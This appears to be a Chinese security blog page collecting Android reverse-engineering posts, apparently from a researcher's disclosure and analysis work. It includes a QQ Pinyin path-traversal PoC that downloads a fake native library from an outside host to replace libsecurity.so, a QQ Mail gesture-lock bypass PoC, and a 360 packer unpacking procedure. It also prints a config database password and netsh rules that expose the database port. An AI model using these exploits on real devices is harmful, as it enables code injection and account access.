设置Android调试开关的方法

发表评论

在进行Android应用逆向分析的时候，让目标应用处于调试状态能极大的增加效率，能够完成如下功能：

动态调试
使用DDMS、Android Profiler进行分析
优化Logcat输出，因为当应用处于调试状态时，logcat包含包名

开启调试开关的方法有：

修改AndroidManifest.xml文件
使用Xposed插件，修改启动参数
修改系统的ro.debuggable属性

修改AndroidManifest.xml文件不推荐使用，不仅效率低下，而且越来多的应用加入完整性校验（甚至包括服务端完整性校验）后，还需要增加额外的时间成本完成这一简单的修改。尽管绕过完整性校验的方法并不难。 More

使用Maigsk禁用MIUI自动升级

发表评论

公司的测试机以小米居多，主要是为了使用Magisk、Xposed、Frida一类的框架。而MIUI不论是稳定版和开发版，OTA均无法彻底关闭。经常重启后开始OTA，导致环境被破坏。

目前常用的几种关闭OTA的方法有：

Host屏蔽
禁用Updater.apk
修改版本号

Host屏蔽对于挂代理无效（我们需要长期挂着代理），而禁用Updater.apk则过于繁琐。所以修改版本号对于我们而言是最稳定的方式。修改版本号需要动build.prop，修改其中ro.build.version.incremental的值为一个较大的版本号即可。 More

修改scrapy-selenium支持docker-selenium

发表评论

scrapy-selenium是一个Scrapy的中间件，用于让Scrapy支持通过selenium driver访问网页。但默认情况下只支持本地的WebDriver。

scrapy-selenium在和selenium的会话管理上相对完善和稳定，所以，派生一个SeleniumMiddleware的子类，重写即可。

class RemoteSeleniumMiddleware(SeleniumMiddleware):

    def __init__(self, command_executor, desired_capabilities):
        self.driver = driver = webdriver.Remote(
            command_executor=command_executor,
            desired_capabilities=desired_capabilities)

    @classmethod
    def from_crawler(cls, crawler):
        command_executor = crawler.settings.get('SELENIUM_COMMAND_EXECUTOR')
        desired_capabilities = crawler.settings.get('SELENIUM_DESIRED_CAPABILITIES')

        middleware = cls(
            command_executor=command_executor,
            desired_capabilities=desired_capabilities,
        )

        crawler.signals.connect(middleware.spider_closed, signals.spider_closed)

        return middleware

class RemoteSeleniumMiddleware(SeleniumMiddleware):

def __init__(self, command_executor, desired_capabilities):

self.driver = driver = webdriver.Remote(

command_executor=command_executor,

desired_capabilities=desired_capabilities)

@classmethod

def from_crawler(cls, crawler):

command_executor = crawler.settings.get('SELENIUM_COMMAND_EXECUTOR')

desired_capabilities = crawler.settings.get('SELENIUM_DESIRED_CAPABILITIES')

middleware = cls(

command_executor=command_executor,

desired_capabilities=desired_capabilities,

)

crawler.signals.connect(middleware.spider_closed, signals.spider_closed)

return middleware

对应的settings.py中，添加连接参数即可：

SELENIUM_COMMAND_EXECUTOR = "http://docker-host:4444/wd/hub"

SELENIUM_DESIRED_CAPABILITIES = DesiredCapabilities.CHROME

SELENIUM_COMMAND_EXECUTOR = "http://docker-host:4444/wd/hub"

SELENIUM_DESIRED_CAPABILITIES = DesiredCapabilities.CHROME

逍遥模拟器adb配置参考

发表评论

最近为了减少一些工作量以及完成自动化的需求，对Android模拟器进行了一些测试。通过测试，逍遥模拟器的性能、兼容性、Xposed稳定性方面满足需求。但默认情况下adb连接略微麻烦。可以进行如下调整解决。

本地adb连接

由于逍遥模拟器自带的adb版本较老，使用platform-tools的adb连接会出现不兼容。因此，复制platform-tools的adb替换即可。替换文件：

adb.exe
AdbWinApi.dll
AdbWinUsbApi.dll

远程adb连接

和其他模拟器一样，逍遥模拟器基于VirtualBox进行虚拟化。模拟器的网卡使用nat模式，然后通过配置forward，使得host的adb可以访问到模拟器的5555端口，默认配置下，hostip为127.0.0.1，远程访问只需要修改hostip即可。

打开memu配置文件，找到如下位置，修改即可：

<NAT>
  <Forwarding name="ADB" proto="1" hostip="0.0.0.0" hostport="21513" guestip="10.0.2.15" guestport="5555"/>
  <Forwarding name="MVD" proto="1" hostip="0.0.0.0" hostport="21511" guestip="10.0.2.15" guestport="21501"/>
</NAT>

<NAT>

</NAT>

切换VPS服务器记录

发表评论

终于下定决心买一台VPS。原因有两个，一来总是白嫖FlowerCode的服务器，实在不好意思；二来最近三年都在键值成都办公室网管和部门IT的角色，一来二去的折腾，竟感觉还有那么些意思。所以，趁着休假的时机，正好有时机安静的折腾。 More

连接AWVS 11的PostgreSQL数据库

发表评论

最近有些需求，需要在AWVS 11的基础上进行一些自动化，AWVS 11的API接口不能完全满足需求，所以需要直接操作数据库完成。

读取配置文件

配置文件位于C:\ProgramData\Acunetix 11\settings.ini，数据库相关的字段如下：

databases.connections.master.connection.user=wvs
databases.connections.master.connection.host=localhost
databases.connections.master.connection.port=35432
databases.connections.master.connection.db=wvs
databases.connections.master.connection.password=j6qGK0UCYFnD3lkJsC2ZK1DZJqKO0oqi

databases.connections.master.connection.user=wvs

databases.connections.master.connection.host=localhost

databases.connections.master.connection.port=35432

databases.connections.master.connection.db=wvs

databases.connections.master.connection.password=j6qGK0UCYFnD3lkJsC2ZK1DZJqKO0oqi

外部访问PostgreSQL

修改C:\ProgramData\Acunetix 11\db目录下的PostgreSQL配置文件pg_ident.conf和postgresql.conf可以让PostgreSQL外部访问，但升级的时候会出问题。Windows下，使用netsh进行端口转发，并且加入防火墙例外即可：

netsh interface portproxy add v4tov4 listenport=5432 listenaddress=0.0.0.0 connectport=35432 connectaddress=localhost
netsh advfirewall firewall add rule name="Open PostgreSQL port of Acunetix 11" dir=in action=allow protocol=TCP localport=5432

1 2	netsh interface portproxy add v4tov4 listenport=5432 listenaddress=0.0.0.0 connectport=35432 connectaddress=localhost netsh advfirewall firewall add rule name="Open PostgreSQL port of Acunetix 11" dir=in action=allow protocol=TCP localport=5432

QQ拼音for Android v4.9.1 so劫持/感染

发表评论

Intro

QQ拼音for Android v4.9.1的导出组件com.tencent.qqpinyin.voice.DownloadApkService没有对传入的下载地址进行过滤，导致任意文件下载，且没有对传入的文件名进行合法性校验，导致目录遍历。加上其本身Apk的特点，可以使用该组件感染/劫持so文件。
之前没注意QQ拼音已经归属搜狗，2015-04-27提交到了TSRC，告知已转交搜狗。至今漏洞依然存在，但从v4.9.2开始lib目录有所变化，无法感染/劫持。

漏洞细节

查看AndroidManifest.xml文件，发现com.tencent.qqpinyin.voice.DownloadApkService导出：

<service android:name=".voice.DownloadApkService" android:process=":remote">
    <intent-filter>
        <action android:name="com.tencent.qqpinyin.download.apk" />
    </intent-filter>
</service>

<intent-filter>

</intent-filter>

</service>

DownloadApkService关键代码如下：

public class DownloadApkService extends Service {
    private String apkName;
    private String apkPath;
    private IDownloadApkCallback callback;
    private DownloadHanlder handler;
    private boolean isCancel;
    private final IDownloadApkService$Stub mBinder;
    private DownloadApkService$DownLoadThread mDownLoadThread;
    private int progress;
    public DownloadApkService() {
        super();
        this.handler = null;
        this.callback = null;
        this.apkName = null;
        this.mDownLoadThread = null;
        this.progress = 0;
        this.apkPath = null;
        this.isCancel = false;
        this.mBinder = new DownloadApkService$3(this);
    }
    public IBinder onBind(Intent arg2) {
        return this.mBinder;
    }
    public void onCreate() {
        super.onCreate();
        this.handler = new DownloadHanlder(((Context)this), 101);
        this.apkName = null;
    }
    public int onStartCommand(Intent arg2, int arg3, int arg4) {
        return super.onStartCommand(arg2, arg3, arg4);
    }
    public boolean onUnbind(Intent arg2) {
        return super.onUnbind(arg2);
    }
}

public class DownloadApkService extends Service {

private String apkName;

private String apkPath;

private IDownloadApkCallback callback;

private DownloadHanlder handler;

private boolean isCancel;

private final IDownloadApkService$Stub mBinder;

private DownloadApkService$DownLoadThread mDownLoadThread;

private int progress;

public DownloadApkService() {

super();

this.handler = null;

this.callback = null;

this.apkName = null;

this.mDownLoadThread = null;

this.progress = 0;

this.apkPath = null;

this.isCancel = false;

this.mBinder = new DownloadApkService$3(this);

}

public IBinder onBind(Intent arg2) {

return this.mBinder;

}

public void onCreate() {

super.onCreate();

this.handler = new DownloadHanlder(((Context)this), 101);

this.apkName = null;

}

public int onStartCommand(Intent arg2, int arg3, int arg4) {

return super.onStartCommand(arg2, arg3, arg4);

}

public boolean onUnbind(Intent arg2) {

return super.onUnbind(arg2);

}

所以，绑定了该服务即可通过mBinder进行远程调用。mBinder是DownloadApkService$3，实现的接口如下：

public interface IDownloadApkService extends IInterface {
    void cancelDownload();
    void destoryService();
    int getProgress();
    void hideBackTask();
    void registerCallback(IDownloadApkCallback arg1);
    void startBackTask();
    void startDownload(String arg1, String arg2);
}

public interface IDownloadApkService extends IInterface {

void cancelDownload();

void destoryService();

int getProgress();

void hideBackTask();

void registerCallback(IDownloadApkCallback arg1);

void startBackTask();

void startDownload(String arg1, String arg2);

}

DownloadApkService$3的startDownload实际上调用的是DownloadApkService的download函数：

public void startDownload(String arg2, String arg3) {
    DownloadApkService.this.apkName = arg3;
    DownloadApkService.this.download(arg2, arg3);
}

public void startDownload(String arg2, String arg3) {

DownloadApkService.this.apkName = arg3;

DownloadApkService.this.download(arg2, arg3);

}

download函数如下：

private void download(String arg7, String arg8) {
    if(!TextUtils.isEmpty(((CharSequence)arg7))) {
        this.isCancel = false;
        this.progress = 0;
        DownloadApkService$1 downloadApkService$1 = new DownloadApkService$1(this, this.getMainLooper());
        this.apkPath = QSDCard.getPath() + this.getResources().getString(2131165543) + File.separator + arg8;
        this.mDownLoadThread = new DownloadApkService$DownLoadThread(this, new DownloadApkService$DownLoadTask(
                this, this, ((Handler)downloadApkService$1), arg7, this.apkPath));
        this.mDownLoadThread.start();
    }
}

private void download(String arg7, String arg8) {

if(!TextUtils.isEmpty(((CharSequence)arg7))) {

this.isCancel = false;

this.progress = 0;

DownloadApkService$1 downloadApkService$1 = new DownloadApkService$1(this, this.getMainLooper());

this.apkPath = QSDCard.getPath() + this.getResources().getString(2131165543) + File.separator + arg8;

this.mDownLoadThread = new DownloadApkService$DownLoadThread(this, new DownloadApkService$DownLoadTask(

this, this, ((Handler)downloadApkService$1), arg7, this.apkPath));

this.mDownLoadThread.start();

}

所以，实际上调用的是DownloadApkService$DownLoadTask进行下载。程序预期在/storage/emulated/0/Tencent/QQInput/Apk/目录下写入文件，由于没有处理”../”，导致目录遍历，可以将文件写入任意位置。

利用方法

和其他Service的利用有点差别，远程调用Binder需要在绑定后使用transact进行调用，通过Parcel传递返回值和参数。每一个函数的对应调用号可以在IDownloadApkService$Stub中找到：

static final int TRANSACTION_cancelDownload = 2;
static final int TRANSACTION_destoryService = 5;
static final int TRANSACTION_getProgress = 4;
static final int TRANSACTION_hideBackTask = 7;
static final int TRANSACTION_registerCallback = 6;
static final int TRANSACTION_startBackTask = 3;
static final int TRANSACTION_startDownload = 1;

static final int TRANSACTION_cancelDownload = 2;

static final int TRANSACTION_destoryService = 5;

static final int TRANSACTION_getProgress = 4;

static final int TRANSACTION_hideBackTask = 7;

static final int TRANSACTION_registerCallback = 6;

static final int TRANSACTION_startBackTask = 3;

static final int TRANSACTION_startDownload = 1;

然后利用起来就十分简单了：

private boolean call_download_service(String file_url, String download_path) {
  boolean status = false;
  if (!is_download_service_bound || download_service == null) {
    return status;
  }
  try {
    Parcel data = Parcel.obtain();
    Parcel reply = Parcel.obtain();
    data.writeInterfaceToken(INTERFACE_TOKEN);
    data.writeString(file_url);
    data.writeString(download_path);
    if (!download_service.transact(1, data, reply, 0)) {
      return status;
    }
    data.recycle();
    reply.recycle();
    status = true;
  } catch (RemoteException e) {
    Log.e(TAG, "RemoteException raised.");
    e.printStackTrace();
    return status;
  }
  return status;
}
@Click
void doDownloadArbitraryFile() {
  if (is_download_service_bound) {
    String file_url = "http://shouji.360tpcdn.com/150922/76da5c4a51ea8b6881a5da4e0a835249/com.qihoo.appstore_300030250.apk";
    String download_path = "tencentmobilemanager5.5.0.apk";
    call_download_service(file_url, download_path);
  } else {
    // TODO: show toast.
  }
}

private boolean call_download_service(String file_url, String download_path) {

boolean status = false;

if (!is_download_service_bound || download_service == null) {

return status;

}

try {

Parcel data = Parcel.obtain();

Parcel reply = Parcel.obtain();

data.writeInterfaceToken(INTERFACE_TOKEN);

data.writeString(file_url);

data.writeString(download_path);

if (!download_service.transact(1, data, reply, 0)) {

return status;

}

data.recycle();

reply.recycle();

status = true;

} catch (RemoteException e) {

Log.e(TAG, "RemoteException raised.");

e.printStackTrace();

return status;

}

return status;

}

@Click

void doDownloadArbitraryFile() {

if (is_download_service_bound) {

String file_url = "http://shouji.360tpcdn.com/150922/76da5c4a51ea8b6881a5da4e0a835249/com.qihoo.appstore_300030250.apk";

String download_path = "tencentmobilemanager5.5.0.apk";

call_download_service(file_url, download_path);

} else {

// TODO: show toast.

}

关于感染/劫持

在QQ拼音for Android v4.9.1这个版本中，apk运行时所需的so文件并没有保存在apk的lib目录下，而是保存在了Apk的/res/raw/目录下，运行的时候释放到/data/data/com.tencent.qqpinyin/app_lib/目录并加载运行。在Android系统中，App自身无法写入/data/data/[PACKAGE_NAME]/lib/目录，只可读取。QQ拼音for Android v4.9.1的这种设计则绕过这种设计，并且在加载时只做了文件是否存在的校验，并没有其他完整性校验。利用如下代码可以感染libsecurity.so文件：

@Click
void doInfectLibSecurity() {
  if (is_download_service_bound) {
    String file_url = "http://thecjw.0GiNr.com/7e8b56123e6d56f85e4d2af7a2def57c/libFakeSecurity.so";
    String download_path = "../../../../../../data/data/com.tencent.qqpinyin/app_lib/libsecurity.so";
    call_download_service(file_url, download_path);
  } else {
    // TODO: show toast.
  }
}

@Click

void doInfectLibSecurity() {

if (is_download_service_bound) {

String file_url = "http://thecjw.0GiNr.com/7e8b56123e6d56f85e4d2af7a2def57c/libFakeSecurity.so";

String download_path = "../../../../../../data/data/com.tencent.qqpinyin/app_lib/libsecurity.so";

call_download_service(file_url, download_path);

} else {

// TODO: show toast.

}

伪造的libsecurity.so被加载的时候会drop原始的so，并调用原始的JNI_Onload。效果如图所示：

完整代码请参考QQPinyinExp。

其他

4.9.2后的版本，所用的so文件放在了lib目录下，无法直接写入。然而，com.tencent.connect.auth.AuthDialog会尝试加载的/data/data/com.tencent.qqpinyin/files/libwbsafeedit.so：

package com.tencent.connect.auth;
public class AuthDialog extends Dialog {
    static {
        try {
            Context context = Global.getContext();
            if(context != null) {
                if(new File(context.getFilesDir().toString() + "/libwbsafeedit.so").exists()) {
                    System.load(context.getFilesDir().toString() + "/libwbsafeedit.so");
                    f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib success.");
                    return;
                }
                f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib fail, because so is not exists.");
                return;
            }
            f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib fail, because context is null.");
        }
        catch(Exception exception) {
            f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib error.", ((Throwable)exception));
        }
    }

package com.tencent.connect.auth;

public class AuthDialog extends Dialog {

static {

try {

Context context = Global.getContext();

if(context != null) {

if(new File(context.getFilesDir().toString() + "/libwbsafeedit.so").exists()) {

System.load(context.getFilesDir().toString() + "/libwbsafeedit.so");

f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib success.");

return;

}

f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib fail, because so is not exists.");

return;

}

f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib fail, because context is null.");

}

catch(Exception exception) {

f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib error.", ((Throwable)exception));

}

看起来这是腾讯SSO的一个SDK，但目前没发现能触发的操作。如果其他App也用了这个SDK，配合额其他类似的漏洞，也可以达到劫持和感染的目的。

QQ邮箱 for Android <= 4.0.4手势密码绕过

1条回复

漏洞描述

对于一个Android程序来说，没有一个统一的入口，任何导出的Activity都可以作为程序的入口。所以，如果在写程序的时候，没有考虑到每一个入口进入时的状态，就有可能出现逻辑上的漏洞。
比如QQ邮箱的这个，连续启动两次某些Activity就可以绕过手势密码。最初把PoC代码和描述都提交到了TSRC，结果那边回复说这是by design的，之后的沟通不了了之。

PoC

  @Click
  void doEnterCalendarActivity() {
    (new AccessQQMailTask("com.tencent.qqmail.calendar.fragment.CalendarFragmentActivity")).execute();
    finish();
  }
  private class AccessQQMailTask extends AsyncTask<Void, Void, Void> {
    private String target_activity_name;
    public AccessQQMailTask(String activity_name) {
      super();
      target_activity_name = activity_name;
    }
    @Override
    protected void onPreExecute() {
    }
    void start_activity() {
      Intent intent = new Intent();
      intent.setClassName(tencent_mail_package_name, target_activity_name);
      startActivity(intent);
    }
    @Override
    protected Void doInBackground(Void... params) {
      try {
        start_activity();
        Thread.sleep(500);
        start_activity();
      } catch (Exception e) {
        Log.e(TAG, e.getMessage());
      }
      return null;
    }
    @Override
    protected void onPostExecute(Void result) {
    }
  }

@Click

void doEnterCalendarActivity() {

(new AccessQQMailTask("com.tencent.qqmail.calendar.fragment.CalendarFragmentActivity")).execute();

finish();

}

private class AccessQQMailTask extends AsyncTask<Void, Void, Void> {

private String target_activity_name;

public AccessQQMailTask(String activity_name) {

super();

target_activity_name = activity_name;

}

@Override

protected void onPreExecute() {

}

void start_activity() {

Intent intent = new Intent();

intent.setClassName(tencent_mail_package_name, target_activity_name);

startActivity(intent);

}

@Override

protected Void doInBackground(Void... params) {

try {

start_activity();

Thread.sleep(500);

start_activity();

} catch (Exception e) {

Log.e(TAG, e.getMessage());

}

return null;

}

@Override

protected void onPostExecute(Void result) {

}

完整代码见：https://github.com/TheCjw/QQMailPatternLockBypass

半自动Fuzz

结合Drozer，并针对导出Activity进行一些逆向分析，可以轻松找到类似的漏洞。这类漏洞并不适合Fuzz，因为很大程度上涉及到了业务逻辑，初始化环境和检测结果免不了人工干预，但我们当初还是进行了一些尝试。大体的步骤是这样的：

安装一些App，并登录帐号，进行设置。

编写了个drozer的插件，目的是获取导出的Activity，然后对Activity进行排列组合，产生不同的调用顺序。当时最多好像设置了3个。

之后，插件按照生成的顺序进行startActivity，每次startActivity设置一定的间隔。每组走完之后，获取顶层Activity，和之前启动的Activity进行对比，如果不是这两个Activity以及桌面的话，记录组合。

重放步骤3中记录到的组合，人工进行观测。最后，靠肉眼识别。

CVE-2014-3153笔记

3条回复

CVE-2014-3153可以说是相当经典的漏洞，影响范围相当广泛。这实际上是一个Linux内核的Use-After-Free漏洞，利用得当可以转化为任意内核地址写入。Geohot的TowelRoot也利用了这个漏洞，在当时（以及现在）能够Root（或Crash）绝大多数Android设备。由于工作的需要，收集了该漏洞的一些资料，并且对漏洞原理和利用方法进行了一些学习和分析。

参考资料

以下是收集的资料：

http://blog.nativeflow.com/the-futex-vulnerability
http://blog.nativeflow.com/escalating-futex
http://blog.nativeflow.com/pwning-the-kernel-root
http://blog.topsec.com.cn/ad_lab/cve2014-3153/
https://github.com/timwr/CVE-2014-3153

https://github.com/android-rooting-tools/libfutex_exploit More

360加固保ELF脱壳总结

5条回复

Intro

360加固保可以针对ELF和DEX进行保护，360某些产品的ELF文件基本都使用了自家产品进行加壳，而这些正是我们感兴趣的东西。由于文件比较多，为了能够快速的拿到Payload，最近稍微总结了一些较为通用的方法。

大体流程

壳整个流程的目的是解密核心ELF文件到内存中，关键解密的地方有3处，均使用RC4。

INIT_ARRAY

壳填充了结构，Linker在so加载完毕后会调用这个回调。这个函数被重命名为__gnu_armfini_26。其功能是进行一些反调试，并且解密JNI_Onload的代码。

JNI_Onload

JNI_OnLoad负责解密核心ELF并加载。此时解密的ELF文件的入口代码没有解密。

__gnu_Unwind_0

最后的步骤，解密核心ELF的入口代码。在不同的版本中解密入口代码的地方有所不同，一般的产品中在壳调用原始JNI_OnLoad之前会进行解密，360的某些产品则会通过Hook库函数的方式，在调用库函数之前再进行解密。

关键函数

外壳大部分函数名被修改成了伪库函数的名字，如图：

通过调试得到了一些关键函数的功能，对这些函数下断点可以快速的脱壳：

__gnu_arm_message	rc4_decode
__arm_aeabi_6	rc4_init
__gnu_Unwind_0	解密入口

脱壳流程

找到__gnu_armfini_26函数。修改入口代码为FE FF FF EA，即死循环；

加载so并使用调试器附加，将原始代码修改回去，一般是PatchDword(GetRegValue(“PC”), 0xe92d0001)；

对__gnu_arm_message进行下断，然后开始跑；

第一次是JNI_Onload的解密，第二次是ELF文件的解密，记录下解密数据保存的地址和大小，RC4解密完之后还会有些处理，此时可以先不Dump；

第三次略有不同，如果是解密一个8字节的数据，则需要手工设置PC为__gnu_Unwind_0。如果大于8字节，则是在解密入口代码。解密完成后Dump出Step 4中的数据以及入口代码。

把入口代码写回ELF中。ELF头部magic可能被修改为lfx，这种情况把lfx替换为ELF即可。